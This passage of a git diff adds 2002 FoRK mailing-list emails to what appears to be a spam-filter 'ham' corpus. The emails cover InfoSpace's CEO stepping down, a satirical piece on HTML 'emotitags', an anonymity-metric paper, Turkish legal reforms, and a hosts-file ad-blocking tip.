1 Aug 2002 19:43:29 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 5205B2940EF; Thu, 1 Aug 2002 11:41:03 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from t2.serverbox.net (64-71-187-101.ip.serverbox.net + [64.71.187.101]) by xent.com (Postfix) with SMTP id C00732940CD for + ; Thu, 1 Aug 2002 11:40:09 -0700 (PDT) +Received: (qmail 12786 invoked from network); 1 Aug 2002 18:40:24 -0000 +Received: from unknown (HELO techdirt.techdirt.com) (12.236.16.241) by + t2.serverbox.net with SMTP; 1 Aug 2002 18:40:24 -0000 +Message-Id: <5.1.1.6.0.20020801113352.02fe8bc0@techdirt.com> +X-Sender: mike@techdirt.com +X-Mailer: QUALCOMM Windows Eudora Version 5.1.1 +To: fork@spamassassin.taint.org +From: Mike Masnick +Subject: Naveen Jain steps down +MIME-Version: 1.0 +Content-Type: text/plain; charset="us-ascii"; format=flowed +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Thu, 01 Aug 2002 11:38:24 -0700 + +From: http://www.xent.com/jan00/0823.html + + > "There are two kinds of people in this world, right? Nonbelievers and + > believers," the animated Jain said to his audience at the Chase H&Q + > plaNET.wall.street Internet conference last week. "In other words, those + > who don't believe in God, and those who believe in God and InfoSpace. + > That's OK -- the nonbelievers will be converted when we become a + > trillion-dollar company." + +Chalk one up for the nonbelievers: + +http://www.siliconvalley.com/mld/siliconvalley/3779952.htm + +InfoSpace CEO to step down + +BELLEVUE, Wash. AP) - InfoSpace Inc. chairman and chief executive Naveen +Jain will step down from his posts once the Internet services and software +company finds a replacement. + +Jain, a former Microsoft executive, founded InfoSpace six years ago and led +the company through its rise and fall. His departure from the top posts was +announced Wednesday. + +With its stock now trading for dimes, InfoSpace is in danger of being +delisted from the Nasdaq Stock Market. The company is asking shareholders +to approve a one-for-10 reverse stock split to prop up the price. If +approved on Sept. 12, shareholders would trade in 10 shares of stock for +one new share. + +The company has had trouble retaining its top-level executives in the past, +including most recently, former chief executive Arun Sarin who resigned +last year after just nine months on the job. + +The company said Jain will remain as a company employee. + +Shares of InfoSpace fell 2 cents to 43 cents in afternoon trading on Nasdaq. + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00954.f0c8ee40e08cf926be3648e3f421108c b/bayes/spamham/easy_ham_2/00954.f0c8ee40e08cf926be3648e3f421108c new file mode 100644 index 0000000..53b2671 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00954.f0c8ee40e08cf926be3648e3f421108c @@ -0,0 +1,72 @@ +From fork-admin@xent.com Thu Aug 1 20:15:41 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 27AF0440F0 + for ; Thu, 1 Aug 2002 15:15:41 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 01 Aug 2002 20:15:41 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g71J9U227061 for ; + Thu, 1 Aug 2002 20:09:32 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 64815294164; Thu, 1 Aug 2002 12:07:03 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from mail-out1.apple.com (mail-out1.apple.com [17.254.0.52]) by + xent.com (Postfix) with ESMTP id 212AA294163 for ; + Thu, 1 Aug 2002 12:06:29 -0700 (PDT) +Received: from mailgate2.apple.com (A17-129-100-225.apple.com + [17.129.100.225]) by mail-out1.apple.com (8.11.3/8.11.3) with ESMTP id + g71J6ik24988 for ; Thu, 1 Aug 2002 12:06:44 -0700 (PDT) +Received: from scv3.apple.com (scv3.apple.com) by mailgate2.apple.com + (Content Technologies SMTPRS 4.2.1) with ESMTP id + ; Thu, 1 Aug 2002 12:06:44 + -0700 +Received: from localhost (to0202a-dhcp108.apple.com [17.212.22.236]) by + scv3.apple.com (8.11.3/8.11.3) with ESMTP id g71J6iT02065; Thu, + 1 Aug 2002 12:06:44 -0700 (PDT) +Subject: Re: Pics and thanks +Content-Type: text/plain; charset=US-ASCII; format=flowed +MIME-Version: 1.0 (Apple Message framework v482) +Cc: CDale , fork@spamassassin.taint.org +To: Tom +From: Bill Humphries +In-Reply-To: +Message-Id: +Content-Transfer-Encoding: 7bit +X-Mailer: Apple Mail (2.482) +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Thu, 1 Aug 2002 12:06:45 -0700 + +On Thursday, August 1, 2002, at 09:59 AM, Tom wrote: + +> On Thu, 1 Aug 2002, CDale wrote: +> +> --]Leave it to Tom to put the one w/ his son's wanker in the center. +> +> Heck, why hide perfection:)- No bias here, nope none whatsoever. + +That reminds me of a Robin William's routine from the 80's concerning his +witnessing of the birth of his son (back in the day, the presence of dad +on the OB floor was still, well, rather Marin-ish). + +"It's a boy, and he's hung like a bear!" +"That's the umbilical cord, Mr. Williams." + +-- whump + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00955.65d74e4da04399281b0b4af1e8e17734 b/bayes/spamham/easy_ham_2/00955.65d74e4da04399281b0b4af1e8e17734 new file mode 100644 index 0000000..dfe8101 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00955.65d74e4da04399281b0b4af1e8e17734 @@ -0,0 +1,70 @@ +From fork-admin@xent.com Thu Aug 1 20:15:43 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id C8266440F3 + for ; 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Thu, 1 Aug 2002 12:09:00 + -0700 +Received: from localhost (to0202a-dhcp108.apple.com [17.212.22.236]) by + scv3.apple.com (8.11.3/8.11.3) with ESMTP id g71J9dT03646; Thu, + 1 Aug 2002 12:09:39 -0700 (PDT) +Subject: Re: Naveen Jain steps down +Content-Type: text/plain; charset=US-ASCII; format=flowed +MIME-Version: 1.0 (Apple Message framework v482) +Cc: fork@spamassassin.taint.org +To: Mike Masnick +From: Bill Humphries +In-Reply-To: <5.1.1.6.0.20020801113352.02fe8bc0@techdirt.com> +Message-Id: <3B159A57-A582-11D6-8A38-003065F62CD6@whump.com> +Content-Transfer-Encoding: 7bit +X-Mailer: Apple Mail (2.482) +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Thu, 1 Aug 2002 12:09:40 -0700 + +On Thursday, August 1, 2002, at 11:38 AM, Mike Masnick wrote: + +> "In other words, those +> > who don't believe in God, and those who believe in God and InfoSpace. +> > That's OK -- the nonbelievers will be converted when we become a +> > trillion-dollar company." + +Verizon Wireless uses InfoSpace for myvzw.net, the last few times I +interacted with it, I was less than impressed. + +If it's a example of "Argument from Design", then the Creationists ought +to disavow Jain right away. + +-- whump + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00956.79552a5e01f114e23c870f48f18db41d b/bayes/spamham/easy_ham_2/00956.79552a5e01f114e23c870f48f18db41d new file mode 100644 index 0000000..b92a0f1 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00956.79552a5e01f114e23c870f48f18db41d @@ -0,0 +1,108 @@ +From fork-admin@xent.com Fri Aug 2 16:34:00 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 113E5440FF + for ; Fri, 2 Aug 2002 11:33:36 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 02 Aug 2002 16:33:36 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g72FKQE01214 for ; + Fri, 2 Aug 2002 16:20:28 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 238DB2940A7; Fri, 2 Aug 2002 08:12:04 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from nycsmtp1out.rdc-nyc.rr.com (nycsmtp1out.rdc-nyc.rr.com + [24.29.99.226]) by xent.com (Postfix) with ESMTP id 738EE2940A6 for + ; Fri, 2 Aug 2002 08:11:57 -0700 (PDT) +Received: from damien (66-108-144-106.nyc.rr.com [66.108.144.106]) by + nycsmtp1out.rdc-nyc.rr.com (8.12.1/Road Runner SMTP Server 1.0) with ESMTP + id g72FBGZa002289 for ; Fri, 2 Aug 2002 11:11:16 -0400 + (EDT) +From: "Damien Morton" +To: +Subject: W3C approves HTML 4 'emotitags' - Now you'll be able to say it with feeling +Message-Id: <001101c23a36$d2a6d8b0$6a906c42@damien> +MIME-Version: 1.0 +Content-Type: text/plain; charset="us-ascii" +Content-Transfer-Encoding: 7bit +X-Priority: 3 (Normal) +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook, Build 10.0.3416 +Importance: Normal +X-Mimeole: Produced By Microsoft MimeOLE V5.50.4807.1700 +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Fri, 2 Aug 2002 11:11:05 -0400 + +http://www.therockalltimes.co.uk/2002/04/08/new-tags.html + +W3C approves HTML 4 'emotitags' - Now you'll be able to say it with +feeling +by Lester Haines + +The World Wide Web Consortium (W3C) has approved a number of new html +'emotitags' which will revolutionise the web surfing experience. + +The tags have no physical effect, but rather elicit a strong emotional +response from the reader. Top of the list is (War on TerrorT). The +tag, when judiciously applied, will immediately provoke violent anger +against ragheads, thus: + +Charity agencies report that Iraqi leader Sadaam Hussein has +adopted the African dictatorial habit of eating his political +opponents. + +Of particular interest to British code-monkeys is the new (I'm +hurting too). This is designed for use when reporting on the life of +Elizabeth the Queen Mother and other recently dead famous people: + +She touched our lives in so many ways with her common touch and her +instinctive understanding of ordinary people. She will be sadly +missed. + +The instantaneous effect is to reduce the reader to teary-eyed and +self-indulgent wallowing in which he or she becomes unaccountably upset +about the death of a complete stranger. + +Political reporting also looks to benefit from the new tag. Any +government ministerial pronouncement is thus rendered immediately +transparent: + +Tony Blair was quick to defend transport secretary Byers, calling +him "the most honest man it has been my privilege to know". + +And, in a much-needed boost to satire sites, W3C has formally ratified +the controversial . This guarantees any text contained within +it complete immunity from prosecution: + +Naomi Campbell, we can confirm, is a talentless, drug-addicted +perjurer who believes that good looks alone can justify her appalling +and obnoxious behaviour. + +The new tags have been warmly received by the programming community. W3C +has, however, warned that they are to be used economically. It has +further cautioned that they should never be used together, since the +effect on the reader could be catastrophic: + +In response to reports that the Queen Mother had fallen +victim to Sadaam Hussein's Axis of EvilT chemical weapons programme, +Stephen Byers noted: "She was everybody's favourite grandmother who +touched the lives of billions. The only consolation we can gain from +this tragedy is that all of the UK's trains will be running on time by +next Monday. And you can quote me on that." + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00957.e0b56b117f3ec5f85e432a9d2a47801f b/bayes/spamham/easy_ham_2/00957.e0b56b117f3ec5f85e432a9d2a47801f new file mode 100644 index 0000000..4c7c9a2 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00957.e0b56b117f3ec5f85e432a9d2a47801f @@ -0,0 +1,49 @@ +From fork-admin@xent.com Tue Aug 6 11:58:11 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 1ECE2441F3 + for ; Tue, 6 Aug 2002 06:48:46 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 11:48:46 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g72MHEv13847 for ; + Fri, 2 Aug 2002 23:17:17 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 6B1A72940AA; Fri, 2 Aug 2002 15:14:03 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from argote.ch (argote.ch [80.65.224.17]) by xent.com (Postfix) + with ESMTP id 3E607294098 for ; Fri, 2 Aug 2002 15:13:08 + -0700 (PDT) +Received: by argote.ch (Postfix, from userid 500) id 9B346C44E; + Sat, 3 Aug 2002 00:11:13 +0200 (CEST) +To: fork@spamassassin.taint.org +Subject: Re: W3C approves HTML 4 'emotitags' [...] +Message-Id: <20020802221113.9B346C44E@argote.ch> +From: harley@argote.ch (Robert Harley) +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Sat, 3 Aug 2002 00:11:13 +0200 (CEST) + +Damien Morton quoted: +>W3C approves HTML 4 'emotitags' - Now you'll be able to say it with feeling + +>>From The Rockall Times (http://www.therockalltimes.co.uk/), definitely +the source of much funniness. + + +R +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00958.ad24f0dc7feb12a77ea863e2000f86dd b/bayes/spamham/easy_ham_2/00958.ad24f0dc7feb12a77ea863e2000f86dd new file mode 100644 index 0000000..6963e92 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00958.ad24f0dc7feb12a77ea863e2000f86dd @@ -0,0 +1,102 @@ +From fork-admin@xent.com Tue Aug 6 11:58:27 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id DB42B441C9 + for ; Tue, 6 Aug 2002 06:49:08 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 11:49:08 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g735c4v02172 for ; + Sat, 3 Aug 2002 06:38:07 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 202172940BE; Fri, 2 Aug 2002 22:35:05 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from tisch.mail.mindspring.net (tisch.mail.mindspring.net + [207.69.200.157]) by xent.com (Postfix) with ESMTP id 47C272940B3 for + ; Fri, 2 Aug 2002 22:34:40 -0700 (PDT) +Received: from user-119ac86.biz.mindspring.com ([66.149.49.6]) by + tisch.mail.mindspring.net with esmtp (Exim 3.33 #1) id 17arZ3-0004lt-00; + Sat, 03 Aug 2002 01:34:57 -0400 +MIME-Version: 1.0 +X-Sender: rahettinga@pop.earthlink.net +Message-Id: +To: Digital Bearer Settlement List , fork@spamassassin.taint.org +From: "R. A. Hettinga" +Subject: info-theoretic model of anonymity +Content-Type: text/plain; charset="us-ascii" +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Sat, 3 Aug 2002 01:25:36 -0400 + + +--- begin forwarded text + + +Date: Sat, 3 Aug 2002 05:26:12 +0100 +From: Adam Back +To: Cypherpunks +Cc: Adam Back +Old-Subject: info-theoretic model of anonymity +User-Agent: Mutt/1.2.2i +Subject: info-theoretic model of anonymity +Sender: owner-cypherpunks@lne.com + +Just read this paper published in PET02 "Towards an Information +Theoretic Metric for Anonymity" [1]: + + http://www.cl.cam.ac.uk/~gd216/set.pdf +or http://www.cl.cam.ac.uk/~gd216/set.ps + +it uses a Shannon like entropy model for the anonymity provided by a +system uses this model to analyse the effect of different parameters +one can tune with mixmaster (POOLSIZE, RATE, in mixmaster.conf). + +The "anonymity entropy" measurement can be interpreted as how many +bits of information the attacker needs to identify a user and is +computed from probabilities. + +Would be interesting to try estimate the entropy provided by the +current mixmaster network. A number of nodes publish their parameter +choices, and traffic volume over time (in hourly increments). + +Adam +-- +http://www.cypherspace.org/adam/ + +[1] + +@inproceedings{Serjantov:02:info-theoretic-anon, + author = "Andrei Serjantov and George Danezis", + title = "Towards an Information Theoretic Metric for Anonymity", + booktitle = "Proceedings of the Workshop on Privacy Enhancing Technologies", + year = "2002", + note = "Also available as +\url{http://www.cl.cam.ac.uk/~aas23/papers_aas/set.ps}" +} + +--- end forwarded text + + +-- +----------------- +R. A. Hettinga +The Internet Bearer Underwriting Corporation +44 Farquhar Street, Boston, MA 02131 USA +"... however it may deserve respect for its usefulness and antiquity, +[predicting the end of the world] has not been found agreeable to +experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00959.a24f34fb3d342beaf6fc1df54b00e5a2 b/bayes/spamham/easy_ham_2/00959.a24f34fb3d342beaf6fc1df54b00e5a2 new file mode 100644 index 0000000..0efc056 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00959.a24f34fb3d342beaf6fc1df54b00e5a2 @@ -0,0 +1,108 @@ +From fork-admin@xent.com Tue Aug 6 11:58:37 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 21661441F4 + for ; Tue, 6 Aug 2002 06:49:10 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 11:49:10 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g73EAAv15719 for ; + Sat, 3 Aug 2002 15:10:15 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 02BE92940C3; Sat, 3 Aug 2002 07:07:04 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from argote.ch (argote.ch [80.65.224.17]) by xent.com (Postfix) + with ESMTP id 0018E2940AB for ; Sat, 3 Aug 2002 07:06:55 + -0700 (PDT) +Received: by argote.ch (Postfix, from userid 500) id 71BC4C44E; + Sat, 3 Aug 2002 16:04:56 +0200 (CEST) +To: fork@spamassassin.taint.org +Subject: There will be no Trojan War +Message-Id: <20020803140456.71BC4C44E@argote.ch> +From: harley@argote.ch (Robert Harley) +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Sat, 3 Aug 2002 16:04:56 +0200 (CEST) + +(pace Giraudoux) + +To be more precise, I believe that there will be no "war of civilizations" +between the Western and the Muslim, and not because of drum-beating or +war-mongering from some parts, but due to stuff like this: + + http://www.lemonde.fr/article/0,5987,3210--286553-,00.html + +>L'assemblée nationale turque a réalisé l'impossible : pour satisfaire +>aux demandes de l'Union européenne, le Parlement, lors d'une session +>qui a duré plus de seize heures, a, aboli la peine de mort (sauf en +>cas de guerre), éliminé les obstacles légaux à l'éducation et à la +>diffusion en langue kurde, levé certaines restrictions rendant +>l'organisation de manifestations difficile et mis fin à l'imposition +>de peines pour critiques envers l'armée ou d'autres institutions étatiques. + +i.e., + +>The Turkish National Assembly achieved the impossible: to satisfy +>European Union demands, the Parlement, during a session lasting more +>than sixteen hours, abolished the death penalty (except in war time), +>eliminated legal obstacles to teaching and spreading of the Kurdish +>language, lifted certain restrictions making it difficult to organise +>protest marches and ended penalties imposed for criticism of the army +>and other state institutions. + + +This is the way forward, IMO. Just wait a couple of years until +66 million Muslim Turks are making great strides towards democracy +and prosperity in the E.U. and Syria, Lebanon etc start lining up and +making similar decisions. + +Of course there are hard-liners who would be right at home on +Rumsfeld's staff, but they got out-voted: + +>La peine de mort s'est révélée le sujet le plus épineux : les +>ultra-nationalistes étaient déterminés à obtenir la pendaison du +>dirigeant du PKK (kurde), Abdullah Öcalan, considéré par les Turcs +>comme personnellement responsable de la mort de plus de 30 000 +>personnes. Öcalan avait été condamné à mort en juin 1999, mais le +>gouvernement avait accepté d'attendre le verdict de la Cour européenne +>des droits de l'homme avant de l'exécuter. De nombreux nationalistes +>estimaient également que l'octroi de droits culturels aux Kurdes +>représenterait une concession aux revendications des "terroristes". + +i.e., + +>The death penalty turned out to be the thorniest issue: the +>ultra-nationalists were determined to secure the hanging of the PKK +>leader, Abdullah Öcalan, considered by the Turks to be personally +>responsible for the deaths of more than 30,000 people. Öcalan had +>been condemned to death in June 1999, but the government had accepted +>to wait for the verdict of the European Court of Human Rights before +>executing him. Many nationalists also believed that handing cultural +>rights to the Kurds would constitute a concession to "terrorist" +>demands. + + +Over 'n out, + Rob. + .-. .-. + / \ .-. .-. / \ + / \ / \ .-. _ .-. / \ / \ + / \ / \ / \ / \ / \ / \ / \ + / \ / \ / `-' `-' \ / \ / \ + \ / `-' `-' \ / + `-' `-' +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00960.32448b09e83c0a903e939e543d29cf82 b/bayes/spamham/easy_ham_2/00960.32448b09e83c0a903e939e543d29cf82 new file mode 100644 index 0000000..645ab75 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00960.32448b09e83c0a903e939e543d29cf82 @@ -0,0 +1,59 @@ +From fork-admin@xent.com Tue Aug 6 11:58:39 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 53557441F5 + for ; Tue, 6 Aug 2002 06:49:11 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 11:49:11 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g73MgEv30275 for ; + Sat, 3 Aug 2002 23:42:18 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id DDFB82940CC; Sat, 3 Aug 2002 15:39:03 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from barrera.org (unknown [63.145.31.2]) by xent.com (Postfix) + with ESMTP id BB2292940AB for ; Sat, 3 Aug 2002 15:38:27 + -0700 (PDT) +Received: from (127.0.0.1 [127.0.0.1]) by MailEnable Inbound Mail Agent + with ESMTP; Sat, 03 Aug 2002 22:38:34 -08:00 +Message-Id: <3D4C5B69.5050604@barrera.org> +From: "Joseph S. Barrera III" +Organization: Rose Garden Funeral of Sores +User-Agent: Mutt/1.5.0 [-1214711651] +X-Accept-Language: en-us, en, ja +MIME-Version: 1.0 +To: fork@spamassassin.taint.org +Subject: brimful of... +References: <20020803140456.71BC4C44E@argote.ch> +Content-Type: text/plain; charset=us-ascii; format=flowed +Content-Transfer-Encoding: 7bit +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Sat, 03 Aug 2002 15:38:33 -0700 + +So how did I miss, and how come I can't find, the fork post +that explains the lyrics to Brimful of Asha? + +I first heard of the song while reading +http://www.ottawa-anime.org/~eyevocal/beingupfront/ +but I had never heard it until I downloaded it among +a bunch of other Fatboy Slim mixes. + +- Joe + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00961.404a92dc1c29461b711f0df8e96bbe90 b/bayes/spamham/easy_ham_2/00961.404a92dc1c29461b711f0df8e96bbe90 new file mode 100644 index 0000000..c5e7206 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00961.404a92dc1c29461b711f0df8e96bbe90 @@ -0,0 +1,92 @@ +From fork-admin@xent.com Tue Aug 6 11:58:54 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id E6F5B441F7 + for ; Tue, 6 Aug 2002 06:49:12 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 11:49:12 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g744Oqv15866 for ; + Sun, 4 Aug 2002 05:24:52 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 6B2A22940E2; Sat, 3 Aug 2002 21:22:03 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from hotmail.com (dav31.law15.hotmail.com [64.4.22.88]) by + xent.com (Postfix) with ESMTP id 34A762940DF for ; + Sat, 3 Aug 2002 21:21:38 -0700 (PDT) +Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; + Sat, 3 Aug 2002 21:22:14 -0700 +X-Originating-Ip: [207.202.171.254] +From: "Mr. FoRK" +To: +Subject: Using hosts file to rid yourself of popup ads +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: 7bit +X-Priority: 3 +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 5.50.4133.2400 +X-Mimeole: Produced By Microsoft MimeOLE V5.50.4133.2400 +Message-Id: +X-Originalarrivaltime: 04 Aug 2002 04:22:14.0979 (UTC) FILETIME=[82FC0130:01C23B6E] +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Sat, 3 Aug 2002 21:24:49 -0700 + +Don't know if everybody knows this trick... + +Puts 127.0.0.1 as the IP for adservers. Elegant. + +== + +http://technoerotica.net/mylog/hostfile.html + +As mentioned throughout this site, there is more than one way to skin a cat +when it comes to pop-ups. The hosts file is one of the most effective +methods there is. In brief, a hosts file is a text file used by Windows to +resolve domain names and IP addresses. If you're running windows, you +already have a hosts file but it most likely isn't being used. + +What a hosts file does is simple, it lists domains and IP numbers. To get +rid of ads, the hosts file lists the domain names of adservers along with +the IP number 127.0.0.1. This tells windows to grab any content from the +listed domain from the specified IP number. The specified IP number in this +case is your own computer. What happens is that it won't display the ad. If +you choose this method of ad removal there is no need to use our opt out +links. The hosts file is a very effective mechanism. + +You can download this hosts file, unzip it and place it in your Windows +directory. YOU SHOULD MAKE A BACK UP of your existing hosts file before you +do. The hosts file is called "hosts" there is no extension. You may have a +file named Hosts.sam this is merely a sample hosts file. + +Once you download the file and put it in the windows folder, reboot your +computer and it's a done deal. Pretty simple huh? You might want to look at +the contents of this file as it contains additional information as well as +an address for getting updated versions. + +Because we're inherently lazy, this works for windows only, don't use it on +a mac! Follow the address in the hosts file for alternative system +instructions. +download now + + +We didn't write this file and do not provide support for it's use. Follow +the address in the hosts file for questions. It's not that we don't want to +hear from you but the folks at this address have the answers you need. + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00962.89f77abfcb53beaef9050647c743deca b/bayes/spamham/easy_ham_2/00962.89f77abfcb53beaef9050647c743deca new file mode 100644 index 0000000..09c2583 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00962.89f77abfcb53beaef9050647c743deca @@ -0,0 +1,62 @@ +From fork-admin@xent.com Tue Aug 6 11:59:07 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id C3FE5441CA + for ; Tue, 6 Aug 2002 06:49:14 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 11:49:14 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g74CZsv28132 for ; + Sun, 4 Aug 2002 13:35:55 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id ABAE0294134; Sun, 4 Aug 2002 05:33:03 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from smtp1.auracom.net (smtp1.auracom.net [165.154.140.23]) by + xent.com 